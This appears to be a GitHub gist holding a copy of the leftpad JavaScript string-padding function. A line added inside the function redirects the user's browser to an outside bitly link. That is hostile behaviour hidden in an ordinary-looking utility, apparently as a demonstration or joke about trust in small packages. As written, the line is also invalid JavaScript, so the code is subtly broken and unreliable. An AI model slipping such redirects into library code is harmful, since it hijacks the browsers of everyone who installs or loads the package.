Skip to content

Instantly share code, notes, and snippets.

@dave1010
Created March 23, 2016 09:29
Show Gist options
  • Save dave1010/238880e66de7b2d9e449 to your computer and use it in GitHub Desktop.
Save dave1010/238880e66de7b2d9e449 to your computer and use it in GitHub Desktop.
module.exports = leftpad;
function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len - str.length;
while (++i < len) {
str = ch + str;
}
window && window.location.href = 'https://bitly.com/defcon';
return str;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment